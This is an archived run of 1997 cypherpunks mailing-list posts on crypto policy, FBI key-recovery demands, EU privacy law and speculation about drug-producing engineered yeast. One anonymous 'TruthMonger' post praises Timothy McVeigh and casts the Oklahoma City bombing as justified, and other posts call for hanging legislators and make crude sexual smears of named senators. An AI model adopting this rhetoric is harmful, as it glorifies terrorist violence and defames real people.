Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 11 Jul 1997 03:36:47 +0800
To: cypherpunks@toad.com
Subject: Re: Is the Vulisbot triggered by my posts?
In-Reply-To: <199707100339.WAA00249@smoke.suba.com>
Message-ID: <F7mm0D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



snow <snow@smoke.suba.com> writes:

> > Tim, I'm not having any "problems" with bwalk (the only computer with the
> > modem - others are in no way connected to the internet for security reasons
> > I've replaced OS/2 on it by Windows 95.  I'm going to add some more hardwar
> > before I add NT 4.0.
>
> 	I'd say that is a problem.

Bwalk seems to work fine. I still have OS/2 on one more box.
(The idea was that I wanted to have NT (I don't have it now), and
figured I'll use the box that's not good for anything anyway.)

This whole silly thread reminds me of a joke which I partially forgot.
Basically, a bunch of women are asked, suppose you're stranded on a little
uninhabited island, and you see a ship full of sex-starved men. (Or
something like this.) They all give different answers, and the blonde
says: "I understand the situation, but I fail to see a problem."

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 11 Jul 1997 00:37:40 +0800
To: cypherpunks@Algebra.COM
Subject: The Recent Trend in "Collective Contracts"
Message-ID: <v03102805afeab8b29d2f@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




I'm not a lawyer, but I am interested in the various ramifications--and the
constitutionality--of recent "sweeping contracts" between vendors,
lawmakers, consumers, etc.

Two recent example:

1. The "tobacco agreement." Supposedly a deal involving the transfer of
$360 billion from some number of tobacco companies in exchange for dropping
of liability suits, immunity from future claims, voluntary restrictions (!)
on advertising, etc. (And the "etc." is especially complicated in this huge
case.)

2. The "voluntary ratings" agreement being announced today by Al Gore and
some of the television networks. (Earlier "voluntary agreements" were
implemented, but, according to supporters of censorship, "failed." Hence
the new push for newer voluntary restrictions.)

The issue, it seems to me, is that ordinary concepts of illegality and
civil liability are being swept aside in favor of these huge "deals" to
reduce liability in exchange for various actions. Well, who is bound by
these deals?

If "Tim's Tobacco Company" starts up next year, after this deal is
"signed," is his company bound by this deal? If Tim the Smoker develops
lung cancer, is he blocked from suing?

(Caveat: My personal and libertarian view is that lawsuits against
cigarette companies are wrong and should not be supported in a free
society. And lawsuits by various states to "recover health care costs" are
especially bogus. By this logic, McDonald's could be sued by California
because California paid out more health care benefits to meat-eaters than
it did to vegetarians. Utterly bogus.)

Anyway, the free speech aspects of these deals are also worrisome. The
"voluntary restrictions" on advertising, for example. Would the
aforementioned "Tim's Tobacco Company," not a party to this Grand Deal, be
somehow bound by a deal wherein it could not sponsor sporting events? Or
advertise? Or even speak out against the deal?

Imagine the implications for cryptography, using the logic of these kinds
of deals:

"The voluntary agreement reached between the cryptography industry and
Washington calls for companies to voluntarily limit key sizes to 64 bits
unless a key recovery scheme is used. And Washington agrees to drop RICO
charges against PGP Inc. and RSA Data Security Inc. in return. Book
publishers, who became part of the negotiations last summer, have agreed to
limit the information published in books in exchange for relaxations on the
export requirements for computer media. "

Far fetched? Perhaps. But note the similarities to these other "collective
contracts."

And in many ways the Telephony Act, aka CALEA (Communications Act for Law
Enforcement Access), was just such a deal. When the various telecom
companies essentially said "we can live with this bill," they were tacitly
committing themselves to just such a collective contract. (What happens
when a new telecom company starts up and finds that it has been "bound" to
provide wiretap points into its switches?)

It seems to me that these contracts are going to collapse completely when
the Supreme Court points out that they bind nonparticipants to terms which
limit their constitutionally protected rights. (Quibblers can claim that
"corporations have no constitutional rights," but the publishing companies
which publish newspapers would take exception to this. And so on. There are
many cases where corporations are enjoying the fruits of the Constitution.
As it should be.)

These huge mega-deals are a crummy way to interpret the U.S. Constitution.
I fear the "Grand Compromise" deal that the telecom and crypto companies
are being drawn into.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Fri, 11 Jul 1997 02:03:20 +0800
To: Steve Schear <azur@netcom.com>
Subject: Re: Recreational pharmaceuticals by genetic engineering
In-Reply-To: <v03102807afea1f8f0451@[10.0.2.15]>
Message-ID: <Pine.GSO.3.96.970710100127.21118H-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 9 Jul 1997, Steve Schear wrote:

> I know this is off-topic for the list...
> 
> But why hasn't some cleaver graduate student engineered a common mold or
> yeast to yield easily extracted (or directly ingestible) common
> recreational pharmaceuticals?  Ideally it would be a perpetual source, like
> sour dough starter, and easily cultured.  Once distributed to the street it
> would be impossible to stop or track (since no controlled chemicals would
> be required for production).

I had expected someone to cross blue-green algae with the part of canibus
that produces THC.  I would love to see something that would have the DEA
try to haul off people who have pond scum in their bird feeders and the
like.  (Anything that will make them look even more absurd...)

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Theodor.SCHLICKMANN@bxl.dg13.cec.be
Date: Thu, 10 Jul 1997 16:57:15 +0800
To: <cypherpunks@Algebra.COM>
Subject: US and EU at odds on data protection
Message-ID: <WIN2359-970710084229-7539*/G=Theodor/S=SCHLICKMANN/OU=BXL/O=DG13/PRMD=CEC/ADMD=RTT/C=BE/@MHS>
MIME-Version: 1.0
Content-Type: text/plain



Internet: US and EU at odds on data protection
                   THURSDAY JULY 10 1997
                   By Neil Buckley
-- Begin 
Differences between US and European Union laws on personal data
protection have emerged as a potentially serious barrier to creation of a
global free market for commerce on the internet.
The European Commission yesterday urged the US to strengthen its laws
on data privacy to bring them into line with European equivalents, or risk
seeing curbs on exchange of information.
The latest hurdle to development of a worldwide internet marketplace
emerged at a meeting between Mr Ira Magaziner, senior adviser to
President Bill Clinton and architect of last week's US report on electronic
commerce, and Mr Hans Beseler, Commission director-general for trade
policy.
It came a day after differences emerged between EU ministers and the US
at a conference in Bonn over the unrestricted use of encryption technology
on the global computer network.
A recently adopted EU directive on data protection makes it illegal after
October 1998 for EU businesses to "export" personal data for commercial
purposes to countries which lack comparable privacy laws.
Such a ban could prevent the sale of customer information, or even
exchanges of marketing databases between subsidiaries of international
companies.
The clause has already been cited by financial services groups as a
potential barrier to trade.
Commission officials said they were concerned that consumers would
refuse to buy products or services on the internet if they were not confident
that personal data they provided would be secure, and that they would not
be bombarded by unsolicited marketing.
Brussels wants the US to introduce European-style privacy laws. "The
creation of a federal privacy body with powers to hear and investigate
complaints, and act as interlocutor for European data protection
authorities, would be a big step in the right direction," a Commission official
added.
But the US fears heavy-handed privacy rules could stifle trade, and prefers
industry self-regulation.
                  
Mr Magaziner suggested internet traders should develop a voluntary code
of conduct, with "seals of approval" for companies pledging to respect
privacy and security of personal information. "Industry and consumer
groups have the same incentive as we have to protect privacy, because
they won't do business unless people feel their privacy is protected," he
said. "Ultimately the power rests with consumers. They can buy or not buy,
go to one web site or not go."
Mr Magaziner suggested it would be a mistake for the EU to isolate itself
by applying the clause in its data protection directive next year.
(c) Copyright the Financial Times Limited 1997
"FT" and "Financial Times" are trademarks of The Financial Times Limited.
-- End
We are not amused
Theodor Schlickmann





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Fri, 11 Jul 1997 02:26:59 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Recreational pharmaceuticals by genetic engineering
In-Reply-To: <v03102804afea2bc2806e@[207.167.93.63]>
Message-ID: <Pine.GSO.3.96.970710110745.21118O-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 9 Jul 1997, Tim May wrote:

> Then, when the narcs and BATFags searched his house and found the
> inevitable mold on the bread, the curdled milk, etc. (Jim is a bachelor,
> and a computer person, so the mold, etc. is inevitable) they could add this
> to the indictment.

Or he could hide it in cheese or other mold-bearing substances.  Would
make pizza and beer more fun...

> And "The Oregonian" could breathlessly headline: "Drug-Producing Molds
> Found in Home of Terror-Chemist."

When looking for sleezy headlines from the Oregano, look for the evening
edition.  They are the most sensationalist.  (My favorate is still "Guns a
part of fungus season.")

Here are a few possible headlines...

"Death cheese found in home of Munster-terrorist"
"Gudda tip brings in Cheesie Terrorist"
"Bell Threat to Portland Delis"

The permutations are endless...

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 11 Jul 1997 02:28:49 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Recreational pharmaceuticals by genetic engineering
In-Reply-To: <v03102807afea1f8f0451@[10.0.2.15]>
Message-ID: <v03102800afead774beaf@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:06 AM -0700 7/10/97, Alan wrote:
>On Wed, 9 Jul 1997, Steve Schear wrote:
>
>> I know this is off-topic for the list...
>>
>> But why hasn't some cleaver graduate student engineered a common mold or
>> yeast to yield easily extracted (or directly ingestible) common
>> recreational pharmaceuticals?  Ideally it would be a perpetual source, like
>> sour dough starter, and easily cultured.  Once distributed to the street it
>> would be impossible to stop or track (since no controlled chemicals would
>> be required for production).
>
>I had expected someone to cross blue-green algae with the part of canibus
>that produces THC.  I would love to see something that would have the DEA
>try to haul off people who have pond scum in their bird feeders and the
>like.  (Anything that will make them look even more absurd...)

Speaking of which, I recall that the origins of LSD were from some kind of
fungus or "rust" found on some types of grain.

And there's that other type of fungus, the mushroom.

I expect Steve is right that someone will find a way to engineer a
drug-producing common mold or yeast. The profit motive, per se, will not be
much of an impediment, provided the costs of development are not huge. I
can think of many who would participate, were any reasonable directions
apparent.

BTW, this was a topic of conversation several years ago in the nanotech
discussion group I was in: home chemistry with instructions dowloaded from
the Net. Sort of a "Click here to download manufacturing instructions for
LSD."

(Downloaded into a tabletop production machine, of course.)

We are probably still several decades away from the mechanosynthesis form
of nanotech, presumably less far away from biological forms.

Such "dangerous knowledge" will join bombmaking instructions in being added
to Fineswine's law. Downloading of instructuctions for NC machine tools,
too, if the instructions are for zip guns and even real guns.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Fri, 11 Jul 1997 02:49:44 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Recreational pharmaceuticals by genetic engineering
In-Reply-To: <v03102800afead774beaf@[207.167.93.63]>
Message-ID: <Pine.GSO.3.96.970710112758.21118Q-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 10 Jul 1997, Tim May wrote:

> Speaking of which, I recall that the origins of LSD were from some kind of
> fungus or "rust" found on some types of grain.

It was developed from "ergot", a fungus that grows on rye.

> And there's that other type of fungus, the mushroom.
> 
> I expect Steve is right that someone will find a way to engineer a
> drug-producing common mold or yeast. The profit motive, per se, will not be
> much of an impediment, provided the costs of development are not huge. I
> can think of many who would participate, were any reasonable directions
> apparent.

Mushrooms are hard to grow unless you have a controlled environment.
(They tend to cross with other species of mushroom from what I have been
told.  A friend used to grow mushrooms commercially many years back.)

> BTW, this was a topic of conversation several years ago in the nanotech
> discussion group I was in: home chemistry with instructions dowloaded from
> the Net. Sort of a "Click here to download manufacturing instructions for
> LSD."
> 
> (Downloaded into a tabletop production machine, of course.)

The instructions for LSD production are already on the net, but not in a
nanotech format.  (HTML v66.6?)

Most of the instructions for LSD are bogus.  A friend sent me a huge
collection of bogus recipes from sci.chemistry from a few years back.
(They get losts of newbies who want to learn how to make LSD.)  My
favorite is the one that uses Foster's Lauger as a base.

> We are probably still several decades away from the mechanosynthesis form
> of nanotech, presumably less far away from biological forms.

I expect that we will see bioengeneered designer drugs within the next 10
years.  The methods for manufacture will not be widely distributed for a
much longer period...

> Such "dangerous knowledge" will join bombmaking instructions in being added
> to Fineswine's law. Downloading of instructuctions for NC machine tools,
> too, if the instructions are for zip guns and even real guns.

When she figures out that such information is available, she will add it
on.  And it will not stop there...  The forces of sanitized thinking will
not stop until anything that could be a threat to them is illegal and/or
abolished.

Sometimes I think the Chinese had the right idea by making it impossible
for their civil servants to reproduce.

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 11 Jul 1997 03:48:53 +0800
To: cypherpunks@toad.com
Subject: Re: Cast of Characters for Crypto Politics (Judiciary Hearing)
Message-ID: <199707101015.MAA25193@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> At 8:06 PM -0700 7/9/97, Declan McCullagh wrote:
> >Here's a cast of characters from today's hearing...
> 
> Except maybe for Ashcroft--and it may be too soon to tell about him--the
> rest have just shown their expected colors. I say we just hang them all and
> be done with it.

  Legislators should be made to vote with their dicks hanging out.
Any legislator with fresh lipstick on his dick gets his vote thrown
out. It may not be a perfect system, but I wouldn't bet against it
being better than what we have now.

> Many of us warned long ago that Leahy was no friend of liberty, despite his
> soothing comments at the SAFE forum last summer. His support of other
> statist policies makes him just another fool on the Hill.

  The "classified briefing" by LEA smells like a classic example of
"Of course, if you vote against this bill then we will be forced to
expose you as a champion of pedophiles and drug czars."
 
> A law to ban domestic use of strong crypto is coming. All it will take is
> some horrific incident--another bombing in a building, another Dahmer case,
> etc., where crypto is involved in any way. This will be the catalyst for
> the outlawing of unapproved crypto.

  So you're sitting there at the police computer, checking out Dahmer's
floppies, which contain only letters to his mother, and you realize that
if they are encrypted, then they are proof that he has something
sinister
to hide. Hmmm...
  Or you realize that the Judge will imprison Tim May for contempt of
court until he provides his secret key, and you realize that if it is
encrypted with a key Tim doesn't have, that the Judge will have to
decide whether to believe the outrageous accusations of Tim May, Jim 
Bell's best friend (according to a reliable informant), against a
champion of law enforcement.

> ...
> >SEN. JOHN KYL (R): Criticized Kerrey for being too
> >moderate. "My own view is that the legislation does
> >not go far enough," Sen. Kyl said of the McCain-Kerrey
> ...
> 
> The competition to outdo the others is beginning, signalling the usual
> stampede toward the passage of a bill.

  There are times that I wish Tim was a little less perceptive. It would
give me a little room for self-deception when I need to take a break
from
reality and try to tell myself that there is some slim ray of hope for
freedom and liberty to prevail.
  Why is it that the "stampede" always seems to manage to head in the
direction needed to trample the constitution underfoot (like tornados
sniffing out trailer parks)?

SEN. JOHN ASHCROFT (R): Emerged as a staunch
crypto-defender. 

  I originally thought that perhaps he was taking this stance as a
matter of principle, but then I heard that he had purple lipstick
on his dick.
  Does anyone know what color Blanc wears?
  (Just curious. I certainly wouldn't want to start any unfounded
rumors. However, for the record, I would like to assure Blanc that
if the bill happened to be defeated by a substantial margin, I
wouldn't think any less of her.)

  I think I need to go spank myself.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 11 Jul 1997 03:49:32 +0800
To: cypherpunks@toad.com
Subject: TRUTHMONGER UNMASKED!!!
Message-ID: <199707101015.MAA25325@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Jim Choate, realizing that he finally had solid evidence as to
the true identity of the coward hiding behind the TruthMonger
persona, forwarded to the list:

>             OPEN MICROPHONE CATCHES CHRETIEN'S CRITICISM OF CLINTON
>      From Senior White House Correspondent Wolf Blitzer
> 
>      Apparently unaware the microphone in front of him was on, Chretien
>      bragged that his country does not let the United States dictate its
>      policy, and suggested American politicians make decisions solely for
>      reasons of expediency.
> 
>      "In your country, in my country, all the politicians would be in
>      prison because they sell their votes," Chretien said.

  Spoken like a TruthMonger!
  I always had my suspicions that the main person using the TruthMonger
multi-user persona on the CypherPunks list was acting out of some kind
of obsessive, guilt-driven psychosis as a form of repentance for great
evils being commited under his true identity.

  Chretien, as Prime Minister of Canada, has to live with the knowledge
that in order for his country to survive he needs to kowtow to a gang
of criminals in a neighboring country who have the firepower to smoke
the Canadians' butts in a heartbeat.
  The TruthMonger posts are more sporadic when Chretien is involved in
international conferences, and it is now obvious that the pressure of
living a lie builds up and spills out at these times when he cannot
relieve himself of his guilt using his TruthMonger posts.

  I suspect that Belgian Prime Minister Jean-Luc Dehaene is Rabid Wombat
and Luxembourg's Prime Minister Jean-Claude Juncker is masquerading on
the list as Dr. Dimitri Vulis, KOTM.
  The CypherPunks list is the one place where they can let their hair
down and tell Big Brother Bill and the whole goddamn world what they
really think.

>      He also said Clinton was in favor of inviting Poland, Hungary and
>      the Czech Republic to join NATO because it would woo voters.
> 
>      Speaking in French, the Canadian prime minister said: "It's not
>      reasons of state. It's all done for short-term political reasons, to
>      win elections. Take the quarrel over whether to admit the Baltic
>      states. That has noting to do with world security. It's because in
>      Chicago, Mayor (Richard M.) Daley controls lots of votes for the
>      nomination."

  Or, as Chretian would have put it, as TruthMonger, "Big Brother Bill
is a lying, Nazi, sack of shit whose main concern in regard to world
security is his ability to use it to suck Daley's big vote-cock."
 
>      The three leaders laughed as they waited for the Clinton and his
>      advisers to arrive for the meeting.

  True CypherPunks, they are laughing their asses off that "we the
sheeple" let these charlatans and criminals rob and oppress us under
the guise of democracy.
 
> He (Chretien), he's used to not doing
>      what they want," Juncker said.
> 
>      "I make it my policy," Chretien said. "But it's popular. The Cuba
>      affair. I was the first to stand up" against it U.S. policy
>      tightening the economic embargo on Cuba.

  Unfortunately, he didn't have the political balls to testify for the
defense in the Timothy McVeigh trial, so he had to express his support
for McVeigh as TruthMonger.

>      The three leaders chuckled among themselves.

  What the fuck is wrong with the American people?
  Here are three world-leaders who openly acknowledge that the U.S. is
in the hands of gangsters who would be imprisoned for crimes against
the citizens and the country if justice truly prevailed in America. And
a single conversation, accidentally(?) revealed such as this one, is no
doubt just the smallest of samples of the stinking rot that lies at the
heart of a gang of criminals who are actively working to subvert the
constitution of the country in the interests of furthering their ever-
tightening, fascist grip on the reins of power.

  The same government which trained Timothy McVeigh to kill (and then
fucked over his Desert Storm compatriots when their service to their
country cost them their health) used their trained, "it's all there in
the press release" news dogs to turn their own penny-ante hired gun
into a "monster" symbolizing patriotic paramilitarists whose concern
lies with defending America at home rather than murdering foreigners
for "votes."
  Slipping in the polls because you murdered and fucked over too many
of your own citizens? Whack out a pile of worthless foreigners with
high-tech weapons that allow us to slaughter them wholesale without
losing any American lives. Watch your poll stats rise as Americans stand
and cheer the murder of defeated, retreating troops by aircraft missles
which weren't designed to take prisoners.
  Act surprised when 800 government law enforcement agents with the 
latest in technology claim to be unable to prevent men, women and 
children that were victims of a botched government assault from dying
a horrible, burning death. Act outraged when the chickens come home to
roost in Oklahoma City.

>      "In your country, in my country, all the politicians would be in
>      prison because they sell their votes," Chretien said.

  The reason they are not in prison here is because they are armed
and dangerous and have managed to disarm and disenfranchise their
citizens, making any resistance to government fascism a criminal 
offense.
  We get to vote for the criminal of our choice from among the
group of criminals that the other criminals pre-select for us
and whose campaigns they support with our stolen booty.
  If a "ringer" slips through, such as Kennedy, he is murdered
and the criminals make a great show of patriotic mourning. If
a no-name schill is foisted on the public as vice-president,like
Agnew, and will take power because the "gang leader" is getting busted,
remove him on the basis of what are "parking tickets" compared to the
crimes of most of your cronies.

  World-leaders recognize that the American citizen is just a stupid
'mark' who is getting fucked in a sophisticated con by men who have no
qualms about stealing senior citizen's life savings (Social Security)
stealing votes and elections (bribery, sabotage and power mongering),
and stealing the rights and freedoms of the citizens by lying about
the need to stop illegal drugs (which remain freely available no matter
how many of our rights and freedoms are stripped).

  I don't have a death-wish of any sort, but if I happen to get killed
by someone striking back at the enemies of freedom who are usurping the
constitution to tighten their criminal control over the citizens, then
I can think of far worse reasons to die.
  We lose 169 people every time a bean-counter decides it's cheaper to
pay off the families of the dead instead of spending an extra nickle
on every seat-belt installation in an automobile. We lose 169 people
every time some Senator decides we need a new weapons system instead
of new hospitals or medical services. We lose 169 people every time
the President decides to stomp on the citizen's rights instead of
giving them enough freedom to feel like they can face life without
numbing their senses to the stench around them with ever-increasing
amounts of narcotics.

  Gambling is a government-regulated criminal enterprise, now, and
Timothy McVeigh's ante was just to establish that the citizens are in
the game. I wouldn't be at all surprised to see some heavy betting 
taking place from all the players who choose to "sit in."
  American sheeple may regard McVeigh as a "monster," but world-leaders
make a strong case for viewing him as a "crime-fighter."

A. Cretin






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amp@pobox.com
Date: Fri, 11 Jul 1997 01:50:55 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Jim Bell reference
In-Reply-To: <199707091809.LAA02522@slack.lne.com>
Message-ID: <Chameleon.868552644.amp@ampugh.mcit.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----


> Kevin L Prigge writes:
> > 
> > Dorothy Denning taught a class (COSC 511) "Information Warfare"
> > Spring 97. Apparently as an assignment, several students put 
> > together an infowar incident database at:
> > 
> > http://www.georgetown.edu/users/samplem/iw/
> > 
> > Jim Bell's case is mentioned under:
> > 
> >
http://www.georgetown.edu/users/samplem/iw/html/iw_database_92.html
> 
> 
> Wow.  This is the most blatant propaganda I've seen in a long time.
> It's full of so much inaccurate info that it can't be an accident.
> 

Gee, suprise, suprise. D.Denning is behind anti-encryption (anti
liberty) propaganda.

If you search the net for writings or speeches by Denning, and any
government reports about encryption,, you will find that she is the
source of most anti-encryption propaganda in the u.s.. 

She's about the only person in the field that I'm aware of that can
always be counted on to support the most restrictive government policy
possible. I don't know her personally, so I can't say whether or not
she has just sold her soul to the powers that be to insure continued
federal grant money. Perhaps she actually believes that restrictive
government policy is appropriate. I guess if they had more people who
wouild be willing to stand up for the government's position, it
wouldn't be so obvious.

> Their blurb on Bell says:
> 
> "In his "Assassination Politics," Bell suggests that IRS
> agents are not protected against violent acts,
> because they have stolen taxpayers' money. He also
> initiates a betting pool as to what government
> employees and officeholders would be assassinated."
> 
> If I remember correctly, Bell never 'initiates'[sic] anything, he
> just talked about it.

Yup. I've seen Mr. Bell's writings since he was on fidonet. To my
knowledge, he's never even =attempted= to set up any AP markets. His
idea was an interesting thought experiment that he because quite
enamored with. I can see why, as it has some interesting social
implications. Also, to my knowledge, it was origional with him.

> They cites a Netly News article by Declan McCullagh
> (http://cgi.pathfinder.com/netly/editorial/0,1012,800,00.html)
> 
> Declan's article doesn't say, or even imply, that Bell actually
> set up his AP betting pool.  The "database" authors apparently
wanted
> to make a point by making his crime seem to be real, and were
willing
> to stretch the truth to do so.

Typical. They are attempting to establish an "official truth" they can
use to validate the government's position. The media is a willing
accomplice in this for reasons I don't understand, since =they= will
eventually be adversely affected by it all as well.

> Feh.  "Research" like this makes me puke.

Agreed. Unfortunately, it's all they have, and they have the means to
make people believe it is true.


- ------------------------
Name: amp
E-mail: amp@pobox.com
Date: 07/10/97
Time: 12:18:12
Visit me at http://www.pobox.com/~amp

'Drug Trafficking Offense' is the root passphrase to the Constitution.

Have you seen 
http://www.public-action.com/SkyWriter/WacoMuseum
- ------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Fri, 11 Jul 1997 04:08:09 +0800
To: tcmay@got.net
Subject: Re: Recreational pharmaceuticals by genetic engineering
In-Reply-To: <v03102800afead774beaf@[207.167.93.63]>
Message-ID: <199707101959.MAA05736@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May writes:
> 
> Speaking of which, I recall that the origins of LSD were from some kind of
> fungus or "rust" found on some types of grain.

Ergot (Clavecps sp.), which grows on wheat, rye and other grasses.

> And there's that other type of fungus, the mushroom.

Psilocibe sp. (which grows in the new world)
and some members of the genus Amanita, found in europe and the new world.

The problem with many of these natural sources of hallucinogens
is that they contain other poisons- ergot alkaloid molecules
have an LSD molecule attached, but other parts of the alkaloid
cause gangrene and convulsions.  Hardly party material!

Psilocibe mushrooms usually cause vomiting.  Most Amanita species
have an lethal dosage which is uncomfortably close to the
effective dosage, not a good thing in a drug.  Amanita muscaria
however was used by the vikings to help induce their 'berserker'
state for battle.

The problem with these is that it's generally hard to seperate the
drugs from the poisons, to the point where if you have the knowledge
to do so you might as well just set up a factory to make the drugs
from cleaner and cheaper non-biological precursors.


> I expect Steve is right that someone will find a way to engineer a
> drug-producing common mold or yeast. The profit motive, per se, will not be
> much of an impediment, provided the costs of development are not huge. I
> can think of many who would participate, were any reasonable directions
> apparent.

I don't see how that's really any different than marijuana- dope
is a weed, it's so easy to grow that retarded alcoholics can grow it.
And a different cultivar of the same species (hemp) is a plant that's
incredibly useful commercially.  Yet it's still illegal to posess any member
of the species (or related species like C. indica).  If some smart
biologist 'fixed' ergot to make nice clean LSD, it'd just be made
illegal to posess grain that's got a certain species of mold on it.

[..]

> Such "dangerous knowledge" will join bombmaking instructions in being added
> to Fineswine's law. Downloading of instructuctions for NC machine tools,
> too, if the instructions are for zip guns and even real guns.

Everything that's not compulsory is illegal.



-- 
Eric Murray  ericm@lne.com  Security and cryptography applications consulting.
PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Fri, 11 Jul 1997 04:13:57 +0800
To: Tim May <cypherpunks@cyberpass.net
Subject: Re: Recreational pharmaceuticals by genetic engineering
In-Reply-To: <Pine.GSO.3.96.970710100127.21118H-100000@linda.teleport.com>
Message-ID: <3.0.3.32.19970710130536.009059a0@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:24 AM 7/10/97 -0700, Tim May wrote:
>BTW, this was a topic of conversation several years ago in the nanotech
>discussion group I was in: home chemistry with instructions dowloaded from
>the Net. Sort of a "Click here to download manufacturing instructions for
>LSD."
>[...]
>Such "dangerous knowledge" will join bombmaking instructions in being added
>to Fineswine's law. Downloading of instructuctions for NC machine tools,
>too, if the instructions are for zip guns and even real guns.

And these technological developments will exacerbate the conflict between
the First Amendment and behavioral regulation which the Bernstein case has
already highlighted. "Informational liberty" and "behavioral liberty" are
becoming indistinguishable.


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <root@nwdtc.com>
Date: Fri, 11 Jul 1997 04:33:04 +0800
To: cypherpunks@Algebra.COM
Subject: FBI wants domestic crypto keys
Message-ID: <33C54698.C55@nwdtc.com>
MIME-Version: 1.0
Content-Type: text/plain



http://www.news.com/News/Item/0,4,12317,00.html


FBI wants domestic crypto keys 
By Alex Lash
July 10, 1997, 12:45 p.m. PT 

After months on the fence, Federal Bureau of Investigation
director Louis Freeh is making it clear that controlling the
domestic use of encryption software is a greater priority than
limiting its export. 

"Law enforcement is more concerned about the significant and
growing threat to public safety and effective law enforcement
that would be caused by the proliferation and use within the
United States of a communications infrastructure that
supports strong encryption products but cannot support timely
law enforcement decryption," Freeh told the Senate Judiciary
Committee yesterday. 

The director's comments yesterday underline the conflict
within the administration on encryption policy and the
influence the security agencies have on that policy. Other
voices in the administration, including Vice President Al Gore
and an early draft of the White House's e-commerce white
paper, have long insisted that domestic use would remain
unregulated. 

In the hearing convened by committee chairman Orrin Hatch
(R-Utah), Freeh also expressed concern that pending Senate
legislation doesn't go far enough in giving law enforcement
access to encrypted electronic data within U.S. borders. 

"These legislative proposals still do not contain adequate
assurances that the impact on public safety and effective law
enforcement of the widespread availability of encryption will
be addressed," he told the committee. 

Freeh was referring specifically to Senate bill 909, which
mandates domestic key recovery--a technology that gives
access to a user's private keys--for all encryption products
purchased with federal money and for all federally funded
electronic networks. Security officials like Freeh argue that
inaccessible encryption will let criminals communicate on the
Internet without fear of being caught. 

The bill, sponsored by Sens. Bob Kerrey (D-Nebraska) and
John McCain (R-Arizona), would also require key recovery
for anyone within the United States using a
government-approved digital certificate. Digital certificates
are ID tags that verify the sender of a communication or
transaction as well as the integrity of the data within. 

"Registration and the use of registered agents and [digital
certificate] authorities are entirely voluntary," Kerrey told the
committee yesterday. 

Because digital certificates are considered necessary to spur
Net-based commerce, critics of the McCain-Kerrey bill argue
that a federal "stamp of approval" program for certificates
creates an environment of mistrust for those who choose not
to participate in the program. Such an environment is bad for
business, critics say, and will make the federal program and
the use of key recovery a de facto standard. 

The bill has already been approved by the Senate Commerce
Committee, and Judiciary might take it up for debate soon. The
bill has not yet been referred to the committee, however, and
no further hearings have been scheduled, according to the
committee press secretary Jeanne Lopatto. 

Opponents of McCain-Kerrey are already taking
unprecedented steps to state their case. The Electronic
Frontier Foundation, an online rights organization, has gone
beyond its usual Net-based advocacy to create a 60-second
radio spot. The commercial urges listeners to contact McCain
and complain about the bill. 

"We feel that if this bill passes it will have an extreme impact
